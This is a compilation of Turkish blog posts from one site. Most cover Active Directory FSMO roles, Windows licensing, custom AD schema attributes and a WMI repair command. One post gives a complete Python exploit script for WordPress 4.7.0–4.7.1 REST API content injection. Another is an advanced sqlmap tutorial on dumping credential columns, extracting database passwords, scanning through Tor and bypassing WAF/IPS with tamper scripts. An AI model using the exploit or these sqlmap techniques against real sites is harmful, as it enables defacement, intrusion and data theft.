alanı için belirli bir sayı ile başlanır ve nesnenin benzersiz kimliğini belirleyen ek bir sayı ile tamamlanır. RID master, bu benzersiz sayıların oluşturulmasından sorumludur. Her bir AD nesnesi için benzersiz bir SID oluşturulması gerektiğinde, RID master, nesne için kullanılabilecek bir SID aralığı belirler. Bu aralık, RID master tarafından tutulan ve yönetilen bir dizi numaradan oluşur. Eğer bir AD nesnesi için yeni bir SID gerekiyorsa, RID master bir numara seçer ve bu numarayı SID'in belirli bir kısmına ekler. Bu sayede, benzersiz bir SID oluşturulmuş olur. RID master, ayrıca kullanılmış SID'leri takip ederek, herhangi bir çakışma olmamasını sağlar. RID master rolü, bir AD ortamında yalnızca bir tane olabilir ve bu rolü atamak veya değiştirmek ciddi sorunlara neden olabilir. Bu nedenle, RID master rolünün yönetimi dikkatli bir şekilde yapılmalıdır. RID master rolü, AD ortamında benzersiz güvenlik kimlikleri oluşturulması ve yönetilmesi için önemli bir FSMO rolüdür ve AD ortamının sağlıklı şekilde yönetilmesi için kritik öneme sahiptir. 5) Altyapı yöneticisi (Infrastructure master ) : Altyapı Yöneticisi (Infrastructure Master), Active Directory (AD) ortamında bulunan ve değişen nesneler arasındaki bağlantıların yönetilmesinden sorumlu olan bir Flexible Single Master Operations (FSMO) rolüdür. Bu rol, güncellenen nesnelerin diğer etki alanlarındaki referanslarını doğru bir şekilde takip ederek, güncellemelerin tutarlılığını sağlar. Özellikle birden fazla etki alanına sahip bir AD ortamında, altyapı yöneticisi rolü, etki alanları arasındaki referanslar arasındaki çakışmaları önlemek için önemlidir. Altyapı yöneticisi rolü, her bir etki alanındaki nesnelere benzersiz kimlikler verir ve bu kimlikleri kullanarak diğer etki alanlarındaki referansları yönetir. Altyapı yöneticisi rolü, etki alanları arasındaki ilişkileri yönetmek için gereklidir. Bir etki alanındaki nesne kimliği değiştirildiğinde, diğer etki alanlarındaki referanslar otomatik olarak güncellenmez. Bunun yerine, referanslar, altyapı yöneticisi rolüne sahip olan etki alanı denetleyicisi tarafından güncellenir. Bu nedenle, altyapı yöneticisi rolü, AD ortamının sağlıklı bir şekilde çalışması için kritik öneme sahiptir. Ancak, yalnızca birden fazla etki alanı içeren AD ortamlarında gereklidir. Tek bir etki alanına sahip bir AD ortamında, altyapı yöneticisi rolü gereksizdir ve hatta yanlış yapılandırıldığında sorunlara neden olabilir. FSMO Rollerin Sorgulanması Şimdi, FSMO rollerinin hangi domain controller üzerinde olduğunu nasıl görüntüleyebileceğimizi öğreneceğiz. Komut satırı veya Powershell konsolu üzerinde "netdom query fsmo" komutunu kullanarak FSMO rollerinin hangi DC üzerinde olduğunu görüntüleyebiliriz. Şu anda, yapımızdaki FSMO rolleri ilk kurulan anatolia.guler.com sunucusunda bulunmaktadır. Ancak Microsoft tarafından önerilen ve genel olarak kullanılan yöntem tüm rollerin tek bir DC üzerinde tutulmasıdır. Yapımızdaki DC'lerin Global Catalog özelliği, FSMO rollerinin son halini kurtarmamıza yardımcı olacaktır. Global Catalog özelliği olan DC'ler, "Domain Controllers" OU'su altındaki "DC Type" alanında "GC" ibaresi ile belirtilir. Bu özelliği taşıyan DC'ler arasında yedekli (PDC) sunucum olmadığı için Global Catalog ANATOLIA DC sunucum üzerinde bulunuyor. Global Catalog, bir domain controller'ın kendisi için ait domain'in tam bir kopyasını ve forest içindeki diğer domainlere dair bilgilerin kısmi bir kopyasını tutar. Bu kopya içinde forest içindeki tüm nesneler ve en çok aranan/sorgulanan nesne özellikleri bulunur. Global Catalog sunucusu, aynı forest içinde bulunan uygulamalar ve kullanıcılar için farklı forest'lardaki tüm domainleri sorgulama imkanı sağlar. Varsayılan olarak, domain controller'lar Global Catalog sunucusu değildir ve bir domain kurulduğunda ilk kurulan domain controller Global Catalog rolü ile gelir. Ancak, diğer domain controller sunucularına kurumun gereksinimlerine göre bu rol de atanabilir. FSMO Rollerinin Transfer Edilmesi: Bir Active Directory upgrade işlemi gerçekleştireceğimizde, ek DC'lerin kurulumu veya Microsoft tarafından yayınlanan Windows Update paketlerinin yüklenmesi gibi durumlarda, sunucuya erişimin kaybedilmesi veya rollerin üzerinde bulunduğu sunucuda bir sorun meydana gelmesi söz konusu olabilir. Bu nedenle, FSMO rollerinin hangi DC üzerinde olduğunu belirlemek ve gerektiğinde rollerin taşınması, sorunları gidermek için önemlidir. Bu yazıda FSMO rollerinin hangi DC üzerinde olduğunu belirlemenin önemine değinildi. Ancak RID Master, PDC Emulator, Infrastructure Master, Domain Naming Master ve Schema Master rollerinin taşımasına dair detaylı bilgiyi başka bir yazıda ele alacağız. Sağlıcakla. – Best Regards. --- ## Microsoft Windows Lisansları Hakkında Link: https://farukguler.com/posts/windows-lisanslari-hakkinda/ Microsoft Windows lisansları, Windows işletim sisteminin farklı sürümlerini kullanmak için gereklidir. Lisanslar, öncelikle Windows işletim sistemi kullanımının yasal hale gelmesi için gereklidir ve ayrıca belirli özelliklere ve işlevlere erişim sağlar. Microsoft Windows lisansları üç temel kategoriye ayrılabilir: Retail Lisans: Bu lisans türü, bireysel kullanıcıların veya şirketlerin perakende olarak satın alabilecekleri lisanslardır. Bu lisanslar, genellikle tek bir bilgisayarda kullanılabilir ve kullanıcı tarafından devredilebilir. Windows Home veya Windows Pro gibi sürümler için perakende lisanslar mevcuttur. OEM Lisans: Bu lisans türü, yeni bir bilgisayar veya cihaz ile birlikte satın alınan lisanslardır. Bu lisanslar, yalnızca belirli bir cihaza atanmıştır ve diğer cihazlara taşınmaz veya devredilemez. Bu lisans türü genellikle bilgisayar üreticileri ve sistem entegratörleri tarafından kullanılır. Volume Lisans: Bu lisans türü, büyük kuruluşlar veya kurumsal müşteriler için tasarlanmıştır. Bu lisanslar, aynı anda birden fazla bilgisayarda kullanılabilir ve genellikle lisans yönetimini basitleştiren merkezi bir lisans yönetimi aracı ile birlikte sunulur. Microsoft Windows lisansları, genellikle belirli bir süre için geçerlidir ve belirli bir kullanım hakkı sunar. Lisanslar, farklı sürümler ve özellikler için farklı fiyatlandırma seçenekleri sunar ve lisanslı kullanıcılar, Microsoft'un güncelleme ve destek hizmetlerine erişim sağlayabilirler. Sonuç olarak, Microsoft Windows lisansları, yasal Windows kullanımının sağlanması ve belirli özelliklere erişim sağlamak için gereklidir. Lisanslar, perakende, OEM veya hacim lisansı olarak satın alınabilir ve belirli bir süre ve kullanım hakkı sunarlar. Sağlıcakla – Best Regards --- ## Wordpress Content Injection Exploit ver. 4.7.0 Link: https://farukguler.com/posts/wp-content-injection-4-7/ Usage: wp-content-injection.py --url http://127.0.0.1/wordpress/index.php/wp-json/wp/v2/posts/6 --title "test_icindir" --content "dikkat! lütfen pacth gecininiz... # wp-content-injection.py # Exploit Title: WP Content Injection Exploit # Date: 02-02-2017 # Exploit Author: Rony Das # Vendor Homepage: https://wordpress.org/ # Software Link: https://wordpress.org/download/release-archive/ # Version: Wordpress 4.7.0 & 4.7.1 # Tested on: BackBox - Ubuntu Based # Founded by: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html import json import requests import optparse import sys from urlparse import urlparse import time script = sys.argv[0] def getPid(url): l = url.split('/') getpid = l[l.index('posts') + 1] return getpid def getDomain(url): parsed_uri = urlparse(url) domain = '{uri.scheme}://{uri.netloc}/'.format(uri=parsed_uri) return domain def banner(): return """ ******************************************************** * _ _______ ______ _____ _____ _____ _____ * *| | | | ___ \ | ___ \ _ / ___|_ _| |_ _| * *| | | | |_/ /_____| |_/ / | | \ `--. | |______| | * *| |/\| | __/______| __/| | | |`--. \ | |______| | * *\ /\ / | | | \ \_/ /\__/ / | | _| |_ * * \/ \/\_| \_| \___/\____/ \_/ \___/ * * * ******************************************************** Greetz:~ Dipendra,Kirit dada <3, Abk Khan, Mukarram Khalid, Ahmed Raza """ def main(): parser = optparse.OptionParser("Usage: "+script+" -u <URL> --title \"<PAGE_TITLE>\" --content \"<PAGE_CONTENT>\"") parser.add_option("-u", "--url", dest="URL", type="string", help="Specify the URL") parser.add_option("-t", "--title", dest="TITLE", type="string", help="Specify the Page Title") parser.add_option("-c", "--content", dest="CONTENT", type="string", help="Specify the Page Content") (options, args) = parser.parse_args() url = options.URL title = options.TITLE content = options.CONTENT data = {"id" : ""+str(getPid(url))+"textappendshere", "title" : ""+title+"", "content" : ""+content+""} headers = {'Content-Type': "application/json; charset=xxxe", 'Accept': "application/json"} res = requests.post(url, data=json.dumps(data), headers=headers) resp = res.status_code print banner() print "Status Code: "+str(resp) print time.sleep(2) if str(resp) == "200": print "Yay!" print "[+] Exploiting .. " print "[+] check the post.." print "[+] "+getDomain(url)+"?p="+getPid(url) else: print "May be not vulnerable?" if __name__ == '__main__': try: main() except KeyboardInterrupt: print "[-] User stooped the script." sys.exit(0) except: pass --- ## Active Directory Özel Attribute Oluşturma Link: https://farukguler.com/posts/ozel-attribute-olusturma/ Önemli: Bu uygulamayı yapmadan önce mutlaka bir test yapısında deneyiniz.*** Uygulamaya başlamadan önce DC lerinizin yedeğini mutlaka alın.*** Oluşturulan attribute leri silmek zordur. Haberiniz olsun. Yanlış oluşturulursa sıkıntı yaşayabilirsiniz.*** Important: Before making this application, you should definitely try it in a test structure.*** Before starting the application, make sure to back up your DCs.*** It is difficult to delete created attributes. Let me know. If it is created incorrectly, you may experience problems.*** Object Identifier Nedir? - What is Object Identifier? (OID) Object Identifier (OID), genellikle uluslararası bir standartta tanımlanmış ve benzersiz bir şekilde belirtilmiş bir nesneyi temsil etmek için kullanılan bir dize numarasıdır. Bir OID, bir hiyerarşideki herhangi bir düzeydeki bir nesneyi tanımlayabilir. Örneğin, bir OID, bir ülkeyi, bir şirketi, bir bölümü, bir makineyi, bir protokolü veya bir özellik setini tanımlayabilir. OID'ler, genellikle İnternet üzerindeki protokollerde veya diğer standartlarda kullanılır. Örneğin, bir SSL sertifikası için benzersiz bir OID, sertifikanın sahibinin kimliğini doğrulamak için kullanılabilir. Ayrıca, bir DNS adı çözümleme işlemi sırasında, bir alan adının benzersiz bir şekilde tanımlanması için kullanılabilir. OID'ler, tipik olarak birkaç sayıdan oluşan bir dize olarak ifade edilir. Sayılar, her bir hiyerarşik düzeydeki nesneleri temsil eder. Örneğin, bir OID, 1.2.840.10045.4.3.2 şeklinde olabilir. Burada, ilk iki sayı, ISO (Uluslararası Standartlar Örgütü) tarafından tanımlanmıştır. 840, Amerika Birleşik Devletleri'nin bir alt bileşenini temsil eder. Sonraki sayılar, belirli bir nesneyi tanımlar. Bu örnekte, 10045, bir kriptografik algoritmayı, 4.3.2 ise ilgili özellikleri temsil eder. OID'ler, nesnelerin benzersiz tanımlanması için kullanıldığından, genellikle standartlarda tanımlanan bir numaralandırma sistemine dayanırlar. Bu sayede, farklı uygulamalar arasında nesnelerin benzersiz bir şekilde tanımlanması mümkün olur. Sıra geldi Oid'imizi öğrenmeye bu Oid bize lazım olacak altta linkini vermiş olduğumuz .vbs script dosyasını C:\dizinine atalım ve çalıştıralım. attaki gibi bir ekran çıkacak ve succeded uyarsı verecektir,aynı zamanda oid' çıktısını ise C:\ dizini altına .TXT dosyası şeklinde oluşturacaktır. Download: https://github.com/theguler0x/activedirectory_dosyalari/blob/main/My_AD_OID.rar devamında ise Çalıştır: MMC yazıp açarak schema master konsolunu ekliyoruz. File > Add/Remove Snap-in > Active Directory Schema > Add artık bu alana Classes ve Attributes kısmı gelmiş bulunuyor. Attributes >Sağ click > New > Attributes burada bizi bir uyarı karşılıyor bu uyarılar yukardaki ***Important - Önemli kısmında belirttiğim uyarılardır. onaylıyoruz. National Identification Number adında yeni bir attribute oluşturmak istiyorum. Bunu şirkette çalışan yabancı ülke vatandaşlarını da kapsayacak Ülke Kimliği (TC kimlik No) diye düşünebiliriz. kullanıcıların tüm ülke kimlik numaralarını bu attribute üzerinde tutacağım. Common name ve LDAP display name kısmına yukarıdaki gibi dolduruyorum. Unique ID ise başta çalıştırmış olduğumuz .vbs çıktısı ile C:\ MY_oidinfo.txt içinden alıyoruz ve unique x500 objext id: kısmına yapıştırıyoruz. Son olarak da syntax ı belirtiyoruz. Burası önemli bir alandır. Nasıl değer gireceğimizi burada belirliyoruz. Kimlik numarası gibi uzun bir sayı için Case Insensitive String kullanılabilir. True/False şeklinde bir bilgi içerecekse Boolean seçilir. Bir multi-valued attribute eklenecekse Multi-Valued seçilir. Menu de farklı ihtiyaçlar için bir çok syntax yer almaktadır. Altta görüldüğü gibi Attributes altında ilgili Attribute oluşturuldu. Simdi ise oluşturduğumuz Attribute' i Kullanıcılara ya da farklı nesnelere atamasını yapacağız, bunu class'lar ile yapıyoruz. Ben userlara atayacağım. Şimdi ise Classes kısmı içinde User > Properties > Attributes > Add > oluşturduğumuz atribute > son olarak ise OK tıklıyoruz... Herşey tamam. User Class içine başarı ile eklendi. Eğer yedekli yapıda (2) veya daha fazla DC kullanıyorsanız her DC üzerinde oluşturduğumuz Attribute'nin görünmesi zaman alabilir, bunu beklememek için AD Schema > Reload the Schema üzerinden manuel tetikliyorum. Görüldüğü üzere userler için oluşturduğumuz Attribute Kullanıcı özellikleri > Attribute Editor ksımında görüntüleyip içeriğini düzenleyebileceğimiz şekilde oluştu. See you in my next post. - Bir dahaki yazımda görüşmek üzere sağlıcakla. --- ## The wizard will be available after data collection finishes Link: https://farukguler.com/posts/the-wizard-will-be-available-after-data-collection-finishes/ Uyarı: Yapılacak işlem öncesi kesinlikle checkpoint veya snapshot alınmalıdır. Important: A checkpoint or snapshot must be taken before the operation to be performed. CMD: cd c:\Windows\System32\wbem\AutoRecover for /f %s in ('dir /b *.mof *.mfl') do mofcomp %s Faydalı olması dileğiyle. – Hope it will be useful. --- ## İleri Seviye Sqlmap Kullanımı Link: https://farukguler.com/posts/ileri-seviye-sqlmap/ İlk olarak, bazı basit parametrelerin kullanımına dair örneklerle başlayalım. Bilindiği üzere en yaygın kullanılan sqlmap parametresi URL’i ifade eden -u ya da --url parametresidir. Aşağıdaki kullanımda da görüldüğü üzere sqlmap’e hedef sitenin URL’ini tanıtır: Bu komut sonucunda, eğer taratılmasını istediğimiz URL’de SQL Injection zafiyeti mevcutsa, zafiyetin türü, hangi DBMS (Database Management System)’in kullanıldığı, web uygulama dili ve sunucu versiyonu gibi bazı bilgilere ulaşmamız mümkün olacaktır. Devamında SQL Injection’ın var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs parametresini ekleyerek mevcut veri tabanlarının listesini ekrana getirebiliriz: 1sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” --dbs Ekran görüntüsünde de görüldüğü üzere mevcut veri tabanlarının listesini elde etmiş olduk. Bundan sonra, sırayla tabloları, kolonları ve kayıtları aşağıdaki parametreleri kullanmamız gerekiyor: 1sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker --tables 1sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo --columns 1sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo -C kullanici,parola --dump -D: Bu parametre ile veri tabanı adını belirtmiş olduk.–tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için bu parametre kullanılır.-T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı bu parametre ile birlikte yazılır.–columns: Adı belirtilen tablodaki kolonlar getirilir.-C: İstenilen kolon adı yazılır.–dump: Kolonlarda yer alan veriler ekrana yansıtılır. Tüyo: Tek tire (-) veya çift tire (–) kullanıldığında parametre ile parametrenin aldığı değer arasında boşluk ya da eşittir işaretinden (=) hangisinin kullanılması gerektiğini karıştırıyorsanız tek tireli parametrelerde boşluğun, çift tireli parametrelerde ise değer girilmeden önce eşittir işaretinin kullanıldığını aklınızda tutabilirsiniz. Not: Herhangi bir database’den veri çekebilmek için sqlmap ile test ettiğimiz uygulamanın veri tabanı kullanıcısının gereken yetkileri haiz olması zorunluluğunu unutmamak gerekir. Yetki Kontrolü Yukarıda da belirttiğimiz üzere bazı komutların sonuç verebilmesi için bağlı olduğumuz veri tabanı kullanıcısının gerekli izinlere sahip olması gerekir. Bunların kontrolünü sağlamada kullanabileceğimiz birkaç parametre mevcut. Veri tabanı kullanıcılarını öğrenebilmek için --users parametresini, kullanıcıların parolaları için --passwords parametresini, kullanıcı yetkileri için --privileges parametresini ve kullanıcı rolleri için ise --roles parametresini kullanabiliriz. Hangi kullanıcının yetki ve/veya rollerini öğrenmek istiyorsak o kullanıcı adını -U parametresiyle birlikte eklememiz gerekmektedir. Eklemediğimiz takdirde “current user” yani veri tabanı bağlantısını gerçekleştiren kullanıcının yetki veya rolleri ekrana yansıyacaktır. Son olarak kullanıcının, veri tabanı yöneticisi (DBA) olup olmadığını --is-dba parametresini kullanabilmekteyiz. Dönüt olarak “True” ya da “False” değerini alırız. Bahsettiğimiz parametrelere dair bir örneği ve örneğe ilişkin ekran görüntüsünü aşağıda görmektesiniz: 1sqlmap -u http://php.testsparker.com/artist.php?id=2 --risk=3 --level=3 --dbms=mysql --is-dba --users --privileges --roles Not: Ekranda yer kaplamaması için tüm çıktılar gösterilmemiştir. Birden Fazla Hedefi Tarama Sqlmap’in -m parametresiyle birden fazla URL’in taratılması mümkündür. Örneğin aşağıdaki gibi bir içeriğe sahip linkler.txt dosyasında bulunan URL’ler sqlmap ile taratılabilir: 1234http://php.testsparker.com/artist.php?id=2http://aspnet.testsparker.com/blog/what-are-the-advantages-of-bitcoin-62/http://192.168.1.38/index.php?action=gallery_view&gallery_id=1http://localhost/index.php?action=test Bunun için, parametreden sonra dosyanın path’i belirtilir: 1sqlmap -m "C:\Users\[USER]\Desktop\linkler.txt" Bir İstek Dosyası Yükleme Bu işlemi gerçekleştirebilmek için -r parametresini kullanmak gerekir. Herhangi bir proxy yazılımıyla araya girerek, yaptığımız isteği kopyalıyor ve bir metin dosyasına kaydediyoruz. Örneğin istek.txt adlı dosyaya ait içeriğin aşağıdaki gibi olduğunu varsayalım: 12345678910GET http://aspnet.testsparker.com/blog/how-does-bitcoin-work-63/ HTTP/1.1Host: aspnet.testsparker.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4Cookie: ASP.NET_SessionId=zpuu4rzda5rxued21mwqttd3; TestCookie=Hello Sqlmap’te kullanım şöyle olacaktır (dosyanın sqlmap dizininde olduğunu farz ediyoruz): 1sqlmap -r "istek.txt" Not: Burada yapılan istekte Rewrite edilmiş bir URL yapısı kullanılmıştır. Konuyla alakalı ayrıntıları yazının ilerleyen bölümlerinde bulabilirsiniz. POST İsteği Yapma Sqlmap kullanımı sırasında düşülen yanılgılardan biri, sqlmap ile sadece GET isteği yapılabildiğinin düşünülmesidir. Halbuki sqlmap, GET isteklerinin yanı sıra POST isteğiyle tarama yapmaya da elverişlidir. Bir login ya da arama formunda bulunan SQL Injection açıklarını bulmak ve bunları exploit edebilmek için --data parametresiyle POST isteği yapmak mümkündür. Aşağıdaki gibi bir giriş panelinde SQL Injection aradığımızı veya bulduğumuzu düşünelim: Sqlmap’te test etmek için POST bilgisine ihtiyacımız var. Bu bilgiyi, herhangi bir proxy yazılımıyla araya girerek elde edebiliriz. Örnek saldırı şöyle olacaktır: 1sqlmap -u "http://192.168.1.37/index.php?action=login" --data="loginname=admin&loginpass=admin&duration=mins30" -p "loginname" --dbms="MySQL" Burada, SQL Injection aradığımız formun POST bilgisini, hangi parametrenin test edileceğini (-p) ve DBMS bilgisini (--dbms) girdik. POST bilgilerinin sqlmap’e yazılamayacak durumda olduğu bazı durumlarda aynı işlemi istek dosyası yükleme yöntemiyle yapmak da mümkündür. Örneğin şöyle bir POST istek dosyasıyla yapılan atakta kullanacağımız komut biraz değişecektir: 12345678910111213141516171819202122232425POST http://192.168.1.37/index.php HTTP/1.1Host: 192.168.1.37Connection: keep-aliveContent-Length: 341Cache-Control: max-age=0Origin: http://192.168.1.37Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHFlodLUdWprARroiAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Referer: http://192.168.1.37/index.php?action=loginAccept-Encoding: gzip, deflateAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4Cookie: PHPSESSID=0htj53cii9juj28a2gui2qe2c0;------WebKitFormBoundaryHFlodLUdWprARroiContent-Disposition: form-data; name="name"admin------WebKitFormBoundaryHFlodLUdWprARroiContent-Disposition: form-data; name="password"admin------WebKitFormBoundaryHFlodLUdWprARroiContent-Disposition: form-data; name="duration"mins30------WebKitFormBoundaryHFlodLUdWprARroi-- Kullanacağımız komut: 1sqlmap -r istek.txt -p "loginname" --dbms="MySQL" Not: Basit parametrelerden biri olan --dbms testlerin daha hızlı bitmesini sağlayabilir. Daha önceden bildiğiniz ya da testler sırasında öğrendiğiniz veri tabanı yönetim sistemlerinden hangisinin kullanıldığı bilgisini parametreye değer olarak verdiğinizde sqlmap, sonraki testlerde sadece söz konusu DBMS’e odaklanacaktır. Diğer DBMS’ler için gereken testleri atlayarak saldırıların süresini kısaltmış olacaktır. Forms Parametresi POST istekleriyle ilintili başka bir parametre ise --forms parametresidir. Bu parametreyi kullanarak URL’deki formların sqlmap tarafından tespit edilmesinin sağlanması mümkündür. Kullanımı şu şekildedir: 1sqlmap -u http://192.168.1.37/index.php?action=login --forms Ardından sqlmap, sizden formu test etmek isteyip istemediğinizi soracak ve olumlu cevap verdiğiniz takdirde POST verisini düzenlemenizi isteyecek. Test edilmesini istemediğiniz formlar için olumsuz cevap verdiğinizde bir sonraki form için aynı soruyu soracaktır. URL Rewrite’ın Aktif Olma Durumu Sqlmap, URI path’lerine karşı otomatik olarak herhangi bir test gerçekleştirmemesine rağmen bu path’leri manuel olarak işaretleyerek sqlmap’in test edebilmesini sağlamak mümkündür. Bu yöntem özellikle URL Rewrite özelliğinin aktif olduğu durumlarda yarar sağlamaktadır. Bu işlem için sadece parametrenin aldığı değerin sonuna asterisk (*) karakteri eklenmelidir. Şu şekilde örnek verebiliriz: 1sqlmap -u "http://example.com/blog/yazi/1*" URL Rewrite’sız hali ise şöyle olurdu: 1sqlmap -u "http://example.com/blog.php?yazi=1" Yukarıda da olduğu gibi hangi parametrenin işaretlenmesi gerektiğine manuel olarak karar verebilmenizin yanı sıra sqlmap bunu, sizin onayınızı aldıktan sonra otomatik olarak da yapabilmektedir. HTTP Authentication Sqlmap ile Basic, Digest, NTLM ya da PKI kimlik doğrulaması isteyen uygulamalarda da tarama yapmak mümkün. Bunun için kullanılan parametre --auth-type parametresidir. Gerekli oturum bilgileriniyse --auth-cred parametresiyle tanıtıyoruz. Örnek bir kullanım aşağıdaki gibidir: 1sqlmap -u http://exapmle.com/main.php?action=writer&id=1 --auth-type="Basic" --auth-cred="user:password" Credential’larda bir yanlışlık olursa şu hatayı almamız kaçınılmaz olur: 123[09:53:40] [CRITICAL] not authorized, try to provide right HTTP authentication type and valid credentials (401)[09:53:40] [WARNING] HTTP error codes detected during run:401 (Unauthorized) - 1 times Proxy ve Tor Kullanımı Proxy kullanımı için sağlanan parametre --proxy parametresidir. Şayet kullanılacak proxy’e ait credential’lar mevcutsa bunu tanıtmak için --proxy-cred parametresi kullanılır. Ayrıca bir dosyadan proxy listesi dahil etmek için --proxy-file parametresine ihtiyaç duyarız. Proxy’nin protokolü (HTTP/S) mutlaka girilmelidir. Örnek kullanım şöyledir: 1sqlmap -u "http://example.com/index.php?id=test" --proxy="http://127.0.0.1:80:80 --proxy-cred="user:pass" Tor Parametresi Tor proxy’sini kullanmak da oldukça basit. Tor bağlantısı ile tarama yapabilmek için öncelikle bilgisayarınızda Tor Browser ya da Tor Bundle’ın yüklü olması gerekir. Sqlmap’te kullanımı --tor parametresi ile sağlanır. Bağlantının gerçekleşmesi için Tor’un çalıştırılmış olması gerekir. Bununla birlikte --tor-proxy ve --tor-type parametrelerinin de tanıtılması gerekebilir. Örnek kullanım şöyledir: 1sqlmap -u "http://aspnet.testsparker.com/Products.aspx?pId=4" --tor --tor-type="SOCKS5" --tor-port=9050 Burada dikkat edilmesi gereken nokta şu ki Tor’un varsayılan port numarası 9050 iken Tor Browser’ın varsayılan port numarası 9150 gelmektedir. Son olarak komutun sonuna ekleyeceğimiz --check-tor parametresi ile Tor bağlantısının durumu öğrenebiliriz. Bağlantı gerçekleştiği takdirde sqlmap çıktısı şöyle olacaktır. 12[10:11:31] [INFO] checking Tor connection[10:11:32] [INFO] Tor is properly being used Level – Risk Parametreleri Söz konusu parametreler sqlmap’in hangi testleri yapacağını belirtir. Ön tanımlı olarak --level parametresi 1 olarak gelir ve 1-5 arası değer alabilir. --risk parametresinin varsayılan değeri 1’dir ve 1-3 arası değer alabilir. Örnek case üzerinden gidecek olursak, şu komutu çalıştırdığımızda; 1sqlmap -u "http://php.testsparker.com/artist.php?id=test" --dbs Çeşitli denemelerin ardından sqlmap’in şu hatayı verdiğini görürüz: 12[10:33:23] [WARNING] GET parameter 'id' does not seem to be injectable[10:33:23] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp'). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment') Sqlmap, hedefe uygun testi gerçekleştirmemiş ve bu yüzden hedefte SQL Injection’ın var olduğunu doğrulayamamıştır. Şimdi ise komutumuza SQL sorgu denemelerini çeşitlendiren --risk parametresi ve prefix, suffix, payload çeşitlerini belirleyen --level parametresini uygun değerleriyle ekliyoruz: 1sqlmap -u "http://php.testsparker.com/artist.php?id=test" --dbs --risk=3 --level=3 Uzun bir bekleyişin ardından “Boolean-based-blind” ve “AND/OR time based blind” türünde SQL Injection açığının bulunduğunu öğrenmiş olduk. Ayrıca veri tabanı isimlerini bulmak için denemelere başladı: Not: Risk ve level değerlerini artırdığınızda yapılan testlerin sayısı artar. Bu testleri bir nebze olsun hızlandırabilmek için --threads parametresini kullanırız. Bu parametreyle eş zamanlı bağlantı sayısını değiştirmemiz mümkün. Varsayılan değeri 1 iken daha fazla payload’un eş zamanlı olarak test edilmesini sağlamak için 10 değerini verebiliriz. Ek olarak --eta parametresiyle, yapılan işlemler için tahmini bitiş süresi bir progress satırı şeklinde ekrana yansıtılmaktadır. Örneğin: Hangi level ve risk değerinde, hangi veri tabanı için hangi testin yapıldığını sqlmap\xml dizininde yer alan payloads klasöründeki XML dosyaları inceleyerek öğrenebilirsiniz. Ayrıca size özel payload’lar tanımlamak için de bu dosyaları düzenleyebilirsiniz. Risk değerleri ve değerlere göre yapılan testler şöyledir: 1 – Ön tanımlı olarak gelen değer. 2 – Time Based ataklar uygular. 3 – OR Based ataklar uygular. Level değerleri ve değerlere göre yapılan testler şöyledir: 1 – Ön tanımlı olarak gelen değer. 100’den az istek gönderir. 2 – 100 ile 200 arası istek uygular. 3 – 200 ile 500 arası istek uygular. 4 – 500 ile 1000 arası istek gönderir. 5 – 1000’den fazla istek gönderir. Tamper Parametresi ve WAF/IPS/IDS Bypass Hedef taratılırken şöyle bir uyarıyla karşılaşıyorsak hedef uygulamayla backend DBMS arasında bir girdi doğrulama mekanizmasının var olduğunu anlayabiliriz: 12[11:36:30] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS[11:36:30] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS Bunun bir WAF (Web Application Firewall), IPS (Intrusion Prevention System), IDS (Intrusion Detection System) vasıtasıyla ya da uygulamanın kaynak kodunda bulunan bir doğrulamayla sağlanması mümkün. Tam da bu noktada sqlmap aracı, --tamper parametresiyle yardımımıza koşuyor. Bu parametreyi, sqlmap\tamper dizininde bulunan scriptler ya da custom olarak ekleyebileceğiniz scriptler aracılığıyla çalıştırdığınızda hedef uygulamadaki WAF/IPS/IDS’nin bypass edilmesi mümkün hale getirilebilir. WAF/IPS bulunan bir hedefi taratırken şöyle bir soruyla karşılaşabiliriz: 123[11:44:43] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS[11:44:43] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDSdo you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] Vereceğimiz olumlu cevap ile sqlmap, WAF/IPS/IDS’yi tespit etmeye çalışacak ve bulabildiği takdirde uygun tamper script’ini bize önerecektir. Manuel olarak daha ayrıntılı bir WAF testi yapmak için --identify-waf parametresinden yararlanabiliriz. Örneğin MySQL veri tabanını ve boşlukları validate eden bir WAF’ı kullanan bir uygulamayı taradığımızı düşünelim. Burada denememiz gereken MySQL’in boşluk satırı olarak kullandığı karakterleri kullanarak WAF’ı bypass etmeye çalışmak olacaktır. Şu tamper dosyası işimizi görecektir: 1sqlmap -u "http://example.com/main.php?id=test" --tamper="space2mysqlblank.py" Bunun neticesinde enjekte etmek istediğimiz payload (ör: SELECT password FROM users) şu hale geldi: SELECT%0Bpassword%0BFROM%A0users Ayrıca birden fazla tamper dosyasını kullanmak için dosya isimlerinin arasına virgül koymak yeterli. Genel Bazı Parametreler Sqlmap, bünyesinde pek çok yararlı parametreyi barındırmaktadır. Buraya kadar bazı parametrelerin açıklamaları ve örneklerine değindik. Son olarak, yararlı olabileceğini düşündüğümüz birkaç parametreyi 